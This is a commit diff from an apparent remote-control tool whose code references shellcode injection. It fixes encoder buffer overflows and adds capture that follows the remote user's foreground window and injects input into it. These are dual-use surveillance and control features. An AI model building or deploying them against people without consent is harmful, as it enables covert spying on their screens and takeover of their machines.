Compare commits
3 Commits
5757ec7965
...
2765d95950
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2765d95950 | ||
|
|
931492a294 | ||
|
|
d3b9e7faae |
@@ -210,9 +210,10 @@ int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
int direction)
|
||||
{
|
||||
int signed_height = direction * (int)height;
|
||||
int w = (int)width;
|
||||
int h = (int)height;
|
||||
// Clamp to encoder's even-aligned frame dimensions (same reason as encode()).
|
||||
int w = m_ctx->width;
|
||||
int h = m_ctx->height;
|
||||
int signed_height = direction * h;
|
||||
int y_size = w * h;
|
||||
int uv_size = (w / 2) * (h / 2);
|
||||
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||
@@ -249,8 +250,12 @@ int CFFmpegH264Encoder::encode(
|
||||
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||
|
||||
int w = (int)width;
|
||||
int h = (int)height;
|
||||
// Use the encoder's even-aligned dimensions, not the raw passed-in values.
|
||||
// m_ctx->width/height = p.width & ~1, m_frame is allocated for exactly those
|
||||
// dimensions. If we pass an odd width/height, ARGBToNV12 writes one extra row
|
||||
// past the end of m_frame->data[0] → heap corruption / access violation.
|
||||
int w = m_ctx->width;
|
||||
int h = m_ctx->height;
|
||||
int signed_height = direction * h;
|
||||
|
||||
if (bpp == 32) {
|
||||
|
||||
@@ -170,6 +170,8 @@ public:
|
||||
|
||||
// 感兴趣区域 (ROI)
|
||||
RECT m_ROI = {0,0,0,0};
|
||||
bool m_bNeedRestart = false; // 捕获对象需要重建(如窗口尺寸变化)
|
||||
HWND m_NextTargetWnd = NULL; // 重建时应切换的目标窗口(NULL=保持原 HWND)
|
||||
int m_nScaleSendWidth = 0;
|
||||
int m_nScaleSendHeight = 0;
|
||||
|
||||
@@ -859,6 +861,7 @@ public:
|
||||
void ensureEncoder(int width, int height)
|
||||
{
|
||||
if (m_encoder) return;
|
||||
if (width < 2 || height < 2) return; // x264 做偶数对齐 &~1,1→0,触发内部 strdup 泄漏;< 2 一并拦住
|
||||
EncoderRequest req;
|
||||
req.width = width;
|
||||
req.height = height;
|
||||
|
||||
@@ -471,6 +471,19 @@ void CScreenManager::InitScreenSpy()
|
||||
DXGI = param->buffer[0];
|
||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||
all = param->length > 2 ? param->buffer[2] : all;
|
||||
// buffer[3..10]: HWND(uint64_t),启动时直接指定窗口捕获;
|
||||
// 值为 (uint64_t)-1 时进入动态前景模式,每帧自动跟踪当前前景窗口
|
||||
if (param->length >= 3 + (int)sizeof(uint64_t) && !m_hTargetWnd && !m_bDynamicForeground) {
|
||||
uint64_t hwnd64 = 0;
|
||||
memcpy(&hwnd64, param->buffer + 3, sizeof(uint64_t));
|
||||
if (hwnd64 == (uint64_t)-1) {
|
||||
m_bDynamicForeground = true;
|
||||
m_hTargetWnd = GetForegroundWindow();
|
||||
Mprintf("CScreenManager: 动态前景窗口模式,初始 HWND=%p\n", m_hTargetWnd);
|
||||
} else if (hwnd64) {
|
||||
m_hTargetWnd = (HWND)(UINT_PTR)hwnd64;
|
||||
}
|
||||
}
|
||||
}
|
||||
m_pUserParam = param;
|
||||
} else {
|
||||
@@ -481,6 +494,11 @@ void CScreenManager::InitScreenSpy()
|
||||
if (level >= 0 && level < QUALITY_COUNT) {
|
||||
algo = m_QualityProfiles[level].algorithm;
|
||||
}
|
||||
// 窗口捕获必须走 GDI(PrintWindow),ScreenCapturerDXGI 无窗口捕获能力
|
||||
if ((m_hTargetWnd || m_bDynamicForeground) && DXGI == USING_DXGI) {
|
||||
DXGI = USING_GDI;
|
||||
Mprintf("CScreenManager: 窗口捕获模式,强制 GDI\n");
|
||||
}
|
||||
// 保存屏幕类型,服务端用于判断是否显示虚拟桌面相关菜单
|
||||
m_ScreenSettings.ScreenType = DXGI;
|
||||
Mprintf("CScreenManager: Type %d Algorithm: %d (QualityLevel=%d)\n", DXGI, int(algo), level);
|
||||
@@ -531,12 +549,12 @@ void CScreenManager::InitScreenSpy()
|
||||
} else {
|
||||
SAFE_DELETE(s);
|
||||
m_isGDI = TRUE;
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
|
||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||
}
|
||||
} else {
|
||||
m_isGDI = TRUE;
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
|
||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -640,10 +658,14 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
|
||||
if (!This->IsConnected()) continue;
|
||||
if (!This->m_SendFirst && This->IsConnected()) {
|
||||
This->m_SendFirst = TRUE;
|
||||
This->SendBitMapInfo();
|
||||
Sleep(50);
|
||||
This->SendFirstScreen();
|
||||
// 窗口捕获模式下目标窗口最小化时跳过首帧,等窗口恢复后再发
|
||||
HWND _targetWnd = This->m_ScreenSpyObject ? This->m_ScreenSpyObject->GetTargetWindow() : NULL;
|
||||
if (!_targetWnd || !IsIconic(_targetWnd)) {
|
||||
This->m_SendFirst = TRUE;
|
||||
This->SendBitMapInfo();
|
||||
Sleep(50);
|
||||
This->SendFirstScreen();
|
||||
}
|
||||
}
|
||||
// 降低桌面检查频率,避免频繁的DC重置导致闪屏
|
||||
if (This->IsRunAsService() && !This->m_virtual) {
|
||||
@@ -698,6 +720,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
}
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
}
|
||||
// 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步
|
||||
if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
|
||||
// 动态前景模式切换了新窗口:把新 HWND 同步回 CScreenManager,
|
||||
// 否则 InitScreenSpy 会沿用旧 HWND,导致无限重建循环
|
||||
if (This->m_ScreenSpyObject->m_NextTargetWnd)
|
||||
This->m_hTargetWnd = This->m_ScreenSpyObject->m_NextTargetWnd;
|
||||
SAFE_DELETE(This->m_ScreenSpyObject);
|
||||
This->InitScreenSpy();
|
||||
This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
|
||||
}
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
@@ -831,6 +863,33 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_WINDOW: {
|
||||
// [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
|
||||
BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
|
||||
if (mode == 0x00 && ulLength > 2) {
|
||||
char title[512] = {};
|
||||
int titleLen = ulLength - 2;
|
||||
if (titleLen > (int)sizeof(title) - 1) titleLen = (int)sizeof(title) - 1;
|
||||
memcpy(title, szBuffer + 2, titleLen);
|
||||
m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
|
||||
Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
|
||||
} else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
|
||||
uint64_t val = 0;
|
||||
memcpy(&val, szBuffer + 2, sizeof(uint64_t));
|
||||
m_hTargetWnd = (HWND)(UINT_PTR)val;
|
||||
Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
|
||||
} else {
|
||||
m_hTargetWnd = NULL;
|
||||
m_bDynamicForeground = false;
|
||||
// 防止 RestartScreen→InitScreenSpy 重新读取旧 HWND 再次进入窗口模式
|
||||
if (m_pUserParam && m_pUserParam->length >= 3 + (int)sizeof(uint64_t)) {
|
||||
memset(m_pUserParam->buffer + 3, 0, sizeof(uint64_t));
|
||||
}
|
||||
Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n");
|
||||
}
|
||||
RestartScreen();
|
||||
break;
|
||||
}
|
||||
case COMMAND_ENCODE_LEVEL: {
|
||||
int encodeLevel = szBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
@@ -2047,9 +2106,13 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
}
|
||||
|
||||
// 窗口捕获模式:只能查看,不能控制
|
||||
if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) {
|
||||
return;
|
||||
// 窗口捕获模式:点击前先将目标窗口置前,确保 SendInput 落到正确的窗口上
|
||||
if (m_ScreenSpyObject) {
|
||||
HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
|
||||
if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
|
||||
if (!SetForegroundWindow(hwndTarget))
|
||||
return; // UIPI 等原因置前失败,不向错误窗口注入输入
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
|
||||
@@ -64,6 +64,8 @@ public:
|
||||
BOOL m_bIsWorking;
|
||||
BOOL m_bIsBlockInput;
|
||||
RECT m_ROI = {0};
|
||||
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口(HWND sentinel=-1触发)
|
||||
BOOL m_SwitchScreen = TRUE;
|
||||
BOOL SendClientClipboard(BOOL fast);
|
||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||
|
||||
@@ -12,12 +12,35 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
||||
RECT rc, BOOL switchScreen) :
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
||||
RECT rc, BOOL switchScreen, HWND hwnd, bool dynamicFg) :
|
||||
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
|
||||
{
|
||||
m_hTargetWnd = hwnd;
|
||||
m_bDynamicForeground = dynamicFg;
|
||||
m_GOP = gop;
|
||||
|
||||
// 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量
|
||||
if (hwnd) {
|
||||
RECT wndRc = {}, frameRc = {};
|
||||
GetWindowRect(hwnd, &wndRc);
|
||||
if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||
m_ShadowTop = frameRc.top - wndRc.top;
|
||||
} else {
|
||||
frameRc = wndRc;
|
||||
}
|
||||
m_ulFullWidth = frameRc.right - frameRc.left;
|
||||
m_ulFullHeight = frameRc.bottom - frameRc.top;
|
||||
m_CachedWndW = wndRc.right - wndRc.left;
|
||||
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||
m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标,供 PointConversion 使用
|
||||
m_iScreenY = frameRc.top;
|
||||
m_bZoomed = false;
|
||||
Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n",
|
||||
hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop);
|
||||
}
|
||||
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
@@ -138,6 +161,93 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
|
||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||
{
|
||||
if (m_hTargetWnd || m_bDynamicForeground) {
|
||||
// 动态前景模式:每帧查询当前前景窗口,切换时尺寸不变则直接复用,尺寸变化则触发重建
|
||||
if (m_bDynamicForeground) {
|
||||
HWND fg = GetForegroundWindow();
|
||||
if (fg && fg != m_hTargetWnd) {
|
||||
RECT wndRc = {}, frameRc = {};
|
||||
GetWindowRect(fg, &wndRc);
|
||||
frameRc = wndRc;
|
||||
DwmGetWindowAttribute(fg, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc));
|
||||
ULONG newW = (ULONG)(frameRc.right - frameRc.left);
|
||||
ULONG newH = (ULONG)(frameRc.bottom - frameRc.top);
|
||||
if (newW != m_ulFullWidth || newH != m_ulFullHeight) {
|
||||
// 尺寸不同:触发重建,同时把新 HWND 写入 m_NextTargetWnd,
|
||||
// 让 WorkThread 在重建前同步更新 CScreenManager::m_hTargetWnd
|
||||
m_NextTargetWnd = fg;
|
||||
m_bNeedRestart = true;
|
||||
return;
|
||||
}
|
||||
// 尺寸相同:直接切换,更新阴影偏移和缓存,无需重建
|
||||
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||
m_ShadowTop = frameRc.top - wndRc.top;
|
||||
m_CachedWndW = wndRc.right - wndRc.left;
|
||||
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||
m_PendingWndW = m_PendingWndH = 0;
|
||||
m_hTargetWnd = fg;
|
||||
Mprintf("CScreenSpy: 前景切换(同尺寸) -> HWND=%p\n", fg);
|
||||
}
|
||||
if (!m_hTargetWnd) return; // 当前无前景窗口,冻结上一帧
|
||||
}
|
||||
|
||||
// 最小化:不绘制,hdcDest 保留上一帧内容(远程端看到冻结画面)
|
||||
if (IsIconic(m_hTargetWnd)) return;
|
||||
|
||||
// 检测窗口尺寸变化:GetWindowRect 廉价,每帧调用;
|
||||
// DwmGetWindowAttribute 较重,仅在 GetWindowRect 尺寸稳定后才调用。
|
||||
// 防抖策略:拖拽 resize 期间尺寸持续变化,冻结画面等待稳定 300ms 后再重建,
|
||||
// 避免拖拽过程中每帧重建 DIBSection / 重发 BitmapInfo / 重置编解码器。
|
||||
static const DWORD RESIZE_DEBOUNCE_MS = 300;
|
||||
RECT fullRc = {};
|
||||
GetWindowRect(m_hTargetWnd, &fullRc);
|
||||
// 窗口每帧都可能移动,实时更新屏幕偏移,保证 PointConversion 坐标正确
|
||||
m_iScreenX = fullRc.left + m_ShadowLeft;
|
||||
m_iScreenY = fullRc.top + m_ShadowTop;
|
||||
int w = fullRc.right - fullRc.left;
|
||||
int h = fullRc.bottom - fullRc.top;
|
||||
if (w != m_CachedWndW || h != m_CachedWndH) {
|
||||
// 尺寸有变化:更新防抖记录
|
||||
if (w != m_PendingWndW || h != m_PendingWndH) {
|
||||
m_PendingWndW = w;
|
||||
m_PendingWndH = h;
|
||||
m_SizeChangeTick = GetTickCount();
|
||||
}
|
||||
// 尚未稳定:冻结当前帧,继续等待
|
||||
if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS)
|
||||
return;
|
||||
// 稳定 300ms:查询 DWM 真实帧边界,决定是否重建
|
||||
RECT frameRc = fullRc;
|
||||
if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||
m_ShadowLeft = frameRc.left - fullRc.left;
|
||||
m_ShadowTop = frameRc.top - fullRc.top;
|
||||
} else {
|
||||
m_ShadowLeft = m_ShadowTop = 0;
|
||||
}
|
||||
if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth ||
|
||||
(ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) {
|
||||
Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d,触发重建\n",
|
||||
m_ulFullWidth, m_ulFullHeight,
|
||||
frameRc.right - frameRc.left, frameRc.bottom - frameRc.top);
|
||||
m_bNeedRestart = true;
|
||||
return;
|
||||
}
|
||||
m_CachedWndW = w;
|
||||
m_CachedWndH = h;
|
||||
}
|
||||
|
||||
// PrintWindow → 临时 DC → BitBlt 到目标(用缓存的阴影偏移跳过 DWM 扩展帧)
|
||||
HDC hTmp = m_data.GetWindowDC();
|
||||
HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp());
|
||||
BOOL ok = PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT);
|
||||
if (!ok) ok = PrintWindow(m_hTargetWnd, hTmp, 0);
|
||||
if (ok) {
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY);
|
||||
}
|
||||
SelectObject(hTmp, hOld);
|
||||
return;
|
||||
}
|
||||
|
||||
if (m_bVirtualPaint) {
|
||||
// 先用深色填充背景,避免窗口移动时留下残影
|
||||
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
||||
|
||||
@@ -95,10 +95,25 @@ protected:
|
||||
|
||||
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
||||
EnumHwndsPrintData m_data;
|
||||
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||
bool m_bDynamicForeground = false; // true=每帧跟踪前景窗口(由 sentinel=-1 触发)
|
||||
int m_ShadowLeft = 0; // DWM 阴影左偏移(frameRc.left - fullRc.left),帧间缓存
|
||||
int m_ShadowTop = 0; // DWM 阴影上偏移(frameRc.top - fullRc.top),帧间缓存
|
||||
int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM
|
||||
int m_CachedWndH = 0; // 上帧 GetWindowRect 高度
|
||||
int m_PendingWndW = 0; // 防抖:检测到尺寸变化后记录的新宽度
|
||||
int m_PendingWndH = 0; // 防抖:检测到尺寸变化后记录的新高度
|
||||
DWORD m_SizeChangeTick = 0; // 防抖:尺寸上次变化的时间戳(GetTickCount)
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
||||
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE);
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
||||
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL, bool dynamicFg = false);
|
||||
|
||||
virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }
|
||||
|
||||
// 窗口模式下 m_ulFullWidth/Height 是窗口尺寸,但 SendInput 的 dx/dy 分母必须是屏幕尺寸
|
||||
virtual int GetScreenWidth() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CXSCREEN) : m_ulFullWidth; }
|
||||
virtual int GetScreenHeight() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CYSCREEN) : m_ulFullHeight; }
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
|
||||
@@ -68,6 +68,9 @@ bool CX264Encoder::open(int width, int height, int fps, int crf)
|
||||
|
||||
bool CX264Encoder::open(x264_param_t * param)
|
||||
{
|
||||
// x264_encoder_open 在 0×0 时已完成 x264_param_strdup 才报错,需在此拦截
|
||||
if (param->i_width < 2 || param->i_height < 2) return false;
|
||||
|
||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
|
||||
|
||||
@@ -304,6 +304,7 @@ enum {
|
||||
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
|
||||
TOKEN_DRAWING_BOARD=151, // 画板
|
||||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||||
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
|
||||
Binary file not shown.
@@ -641,6 +641,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
|
||||
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
|
||||
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
|
||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||
m_ServerDLL[i] = nullptr;
|
||||
m_ServerBin[i] = nullptr;
|
||||
@@ -890,6 +891,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
|
||||
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
||||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||||
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
||||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||
@@ -992,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
|
||||
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
|
||||
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
|
||||
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -4029,6 +4032,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
|
||||
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
|
||||
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
|
||||
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
|
||||
|
||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||
|
||||
@@ -10273,6 +10277,46 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
|
||||
SAFE_DELETE(tinyRun);
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
// wParam: new char[2 * sizeof(uint64_t)],前 8 字节为 clientID,后 8 字节为 HWND(uint64_t)
|
||||
char* arg = (char*)wParam;
|
||||
uint64_t clientID = 0, hwnd64 = 0;
|
||||
memcpy(&clientID, arg, sizeof(uint64_t));
|
||||
memcpy(&hwnd64, arg + sizeof(uint64_t), sizeof(uint64_t));
|
||||
delete[] arg;
|
||||
auto ctx = FindHost(clientID);
|
||||
if (!ctx) return S_FALSE;
|
||||
|
||||
// 窗口捕获只能走 GDI(PrintWindow),忽略用户的 DXGI 设置
|
||||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||
// [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
|
||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
|
||||
(BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
|
||||
(BYTE)all };
|
||||
memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
|
||||
screenParamModifier(ctx, bToken);
|
||||
ctx->Send2Client(bToken, sizeof(bToken));
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::PostCaptureForegroundWindow(context* ctx)
|
||||
{
|
||||
// 向指定客户端发送"动态前景窗口捕获"命令。
|
||||
// 复用 WM_OPEN_WINDOW_SCREEN 消息,hwnd64 用 (uint64_t)-1 作为 sentinel。
|
||||
// 调用方示例(在 UI 线程,已持有 context* 的情况下):
|
||||
// PostCaptureForegroundWindow(GetSelectedContext());
|
||||
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||
uint64_t clientID = ctx->GetClientID();
|
||||
uint64_t sentinel = (uint64_t)-1;
|
||||
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||
memcpy(arg + sizeof(uint64_t), &sentinel, sizeof(uint64_t));
|
||||
if (!PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
|
||||
delete[] arg;
|
||||
}
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char* ip = (char*)wParam;
|
||||
@@ -11313,3 +11357,13 @@ void CMy2015RemoteDlg::OnCopyClientInfo()
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineActiveWnd()
|
||||
{
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
if (!Pos) return;
|
||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||
auto ctx = GetContextByListIndex(iItem);
|
||||
if (!ctx) return;
|
||||
PostCaptureForegroundWindow(ctx);
|
||||
}
|
||||
|
||||
@@ -381,7 +381,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[59]; // 21 original + 4 context menu + 2 tray menu + 26 main menu + 3 new menu icons + 1 snapshot + 1 copy
|
||||
CBitmap m_bmOnline[60];
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -510,6 +510,8 @@ public:
|
||||
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
|
||||
void PostCaptureForegroundWindow(context* ctx); // 向客户端发送"动态前景窗口捕获"命令
|
||||
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
|
||||
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
|
||||
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);
|
||||
@@ -632,4 +634,5 @@ public:
|
||||
afx_msg LRESULT OnSplitterMoved(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnCopyClientInfo();
|
||||
afx_msg void OnOnlineActiveWnd();
|
||||
};
|
||||
|
||||
@@ -498,13 +498,13 @@
|
||||
<ItemGroup>
|
||||
<Image Include="res\2015Remote.ico" />
|
||||
<Image Include="res\audio.ico" />
|
||||
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
||||
<Image Include="res\Bitmap\AddWatch.bmp" />
|
||||
<Image Include="res\Bitmap\AdminRun.bmp" />
|
||||
<Image Include="res\Bitmap\AssignTo.bmp" />
|
||||
<Image Include="res\Bitmap\AuthGen.bmp" />
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\Backup.bmp" />
|
||||
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
<Image Include="res\bitmap\compress.bmp" />
|
||||
<Image Include="res\Bitmap\Copy.bmp" />
|
||||
|
||||
@@ -323,8 +323,8 @@
|
||||
<Image Include="res\Bitmap\Snapshot.bmp" />
|
||||
<Image Include="res\bitmap\compress.bmp" />
|
||||
<Image Include="res\bitmap\uncompress.bmp" />
|
||||
<Image Include="res\bitmap\bitmap9.bmp" />
|
||||
